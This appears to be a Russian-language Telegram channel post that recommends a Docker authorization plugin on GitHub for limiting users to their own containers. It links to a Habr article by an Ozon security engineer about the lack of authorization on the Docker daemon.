Улучшенный подход он описал в статье на хабре. Теперь с помощью плагина https://github.com/I-am-Roman/docker-auth-plugin можно реализовать уже почти полноценную авторизацию - доступ к своим контейнерам остается, а вот к тем, которые запущены другими пользователями уже не добраться.
Ссылки на старые посты в канале по теме на БЕКОН: раз и два.
Улучшенный подход он описал в статье на хабре. Теперь с помощью плагина https://github.com/I-am-Roman/docker-auth-plugin можно реализовать уже почти полноценную авторизацию - доступ к своим контейнерам остается, а вот к тем, которые запущены другими пользователями уже не добраться.
Ссылки на старые посты в канале по теме на БЕКОН: раз и два.
Хабр
Евгений DockerAuthPlugin’ович Онегин
Интересное начало, не так ли? Меня зовут Роман, и я младший инженер информационной безопасности Ozon. В этой статье я расскажу о проблеме отсутствия авторизации доступа к Docker daemon...
👏7❤3🤔1